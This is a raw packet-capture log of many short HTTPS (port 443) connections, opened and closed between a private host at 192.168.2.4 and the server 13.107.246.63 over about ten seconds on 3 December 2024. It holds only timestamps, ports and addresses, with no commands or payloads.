Dec 3, 2024 10:06:14.884125948 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:14.884462118 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:14.884473085 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.283301115 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.283883095 CET	49778	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.283904076 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.284517050 CET	49778	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.284522057 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.307404995 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.317253113 CET	49777	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.317282915 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.317729950 CET	49777	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.317735910 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.538367987 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.538882017 CET	49779	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.538899899 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.539365053 CET	49779	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.539370060 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.664202929 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.677048922 CET	49780	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.677072048 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.677500963 CET	49780	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.677506924 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.731401920 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.731829882 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.731849909 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.732254028 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.732259035 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.750767946 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.750828028 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.750876904 CET	49778	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.751060009 CET	49778	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.751075029 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.751085043 CET	49778	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.751090050 CET	443	49778	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.753746033 CET	49782	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.753767967 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.753845930 CET	49782	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.753954887 CET	49782	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.753966093 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.760763884 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.760817051 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.760865927 CET	49777	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.760951996 CET	49777	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.760965109 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.760973930 CET	49777	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.760978937 CET	443	49777	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.762732983 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.762759924 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.762825012 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.762938976 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.762948990 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.983407021 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.983452082 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.983501911 CET	49779	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.983719110 CET	49779	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.983725071 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.983735085 CET	49779	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.983740091 CET	443	49779	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.987550974 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.987586021 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:16.987643003 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.990941048 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:16.990956068 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.108627081 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.108685017 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.108737946 CET	49780	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.109019995 CET	49780	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.109030008 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.109040976 CET	49780	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.109045029 CET	443	49780	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.112359047 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.112406015 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.112464905 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.112824917 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.112838984 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.185259104 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.185326099 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.185374022 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.185830116 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.185847998 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.185856104 CET	49781	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.185862064 CET	443	49781	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.188477039 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.188498020 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:17.188560009 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.189893007 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:17.189907074 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.544694901 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.545372009 CET	49782	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.545394897 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.545896053 CET	49782	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.545902967 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.556898117 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.557667017 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.557687998 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.557933092 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.557938099 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.707619905 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.708250046 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.708285093 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.708657026 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.708662987 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.904445887 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.905011892 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.905078888 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.905463934 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.905472040 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.958384037 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.959342957 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.959378958 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.959721088 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.959728003 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.990848064 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.990910053 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.991066933 CET	49782	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.991142988 CET	49782	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.991159916 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.991168976 CET	49782	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.991173983 CET	443	49782	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.994098902 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.994136095 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:18.994194984 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.994589090 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:18.994597912 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.004179955 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.004241943 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.004287958 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.004486084 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.004486084 CET	49783	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.004503012 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.004511118 CET	443	49783	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.006619930 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.006664038 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.006726027 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.006834030 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.006850004 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.142658949 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.142728090 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.142784119 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.143057108 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.143057108 CET	49784	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.143076897 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.143085003 CET	443	49784	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.145704031 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.145737886 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.145795107 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.145922899 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.145936012 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.339147091 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.339211941 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.339370012 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.339472055 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.339483023 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.339490891 CET	49786	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.339497089 CET	443	49786	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.342272043 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.342314959 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.342389107 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.342503071 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.342518091 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.411497116 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.411555052 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.411747932 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.424256086 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.424278975 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.424288988 CET	49785	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.424293995 CET	443	49785	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.431628942 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.431664944 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:19.431721926 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.432285070 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:19.432296991 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.708967924 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.709577084 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:20.709600925 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.709983110 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:20.709988117 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.740051031 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.740595102 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:20.740616083 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.740849018 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:20.740854979 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.929095030 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.933088064 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:20.933103085 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:20.933509111 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:20.933516026 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.062699080 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.064935923 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.064958096 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.065366030 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.065371037 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.144422054 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.144490004 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.144541025 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.144730091 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.144747972 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.144793034 CET	49787	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.144798040 CET	443	49787	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.147572994 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.147610903 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.147973061 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.148556948 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.154607058 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.154624939 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.155334949 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.155349016 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.155797958 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.155802965 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.178977966 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.179037094 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.179145098 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.179655075 CET	49788	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.179667950 CET	443	49788	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.183597088 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.183620930 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.183693886 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.186307907 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.186319113 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.372947931 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.373008013 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.373178959 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.373272896 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.373285055 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.373295069 CET	49789	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.373300076 CET	443	49789	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.375868082 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.375883102 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.376036882 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.376302958 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.376316071 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.497201920 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.497267008 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.497380018 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.497515917 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.497524977 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.497534037 CET	49790	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.497539043 CET	443	49790	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.500768900 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.500797987 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.500878096 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.501547098 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.501555920 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.583457947 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.583522081 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.583810091 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.583933115 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.583951950 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.584034920 CET	49791	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.584041119 CET	443	49791	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.586808920 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.586827993 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:21.586900949 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.587029934 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:21.587037086 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:22.870878935 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:22.878457069 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:22.878482103 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:22.878914118 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:22.878930092 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:22.966099024 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:22.967802048 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:22.967829943 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:22.968271017 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:22.968276024 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.221816063 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.222352982 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.222388983 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.222835064 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.222846031 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.281091928 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.281760931 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.281775951 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.282100916 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.282104015 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.307243109 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.307306051 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.307374954 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.307581902 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.307598114 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.307609081 CET	49792	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.307612896 CET	443	49792	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.311368942 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.311408997 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.311477900 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.311597109 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.311609983 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.367168903 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.367858887 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.367875099 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.368227959 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.368232965 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.410085917 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.410150051 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.410275936 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.410414934 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.410429001 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.410438061 CET	49793	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.410442114 CET	443	49793	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.412817001 CET	49798	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.412842989 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.412906885 CET	49798	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.413032055 CET	49798	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.413044930 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.677227020 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.677297115 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.677412033 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.677634954 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.677649975 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.677660942 CET	49794	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.677666903 CET	443	49794	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.680150032 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.680181026 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.680252075 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.680372000 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.680382013 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.727355957 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.727416039 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.727478027 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.727686882 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.727699041 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.727706909 CET	49795	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.727711916 CET	443	49795	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.730776072 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.730811119 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.730876923 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.730983019 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.730998039 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.811708927 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.811789989 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.811837912 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.812092066 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.812103987 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.812114000 CET	49796	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.812119007 CET	443	49796	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.815167904 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.815207005 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:23.815280914 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:23.815404892 CET	49801	443	192.168.2.4	13.107.246.63
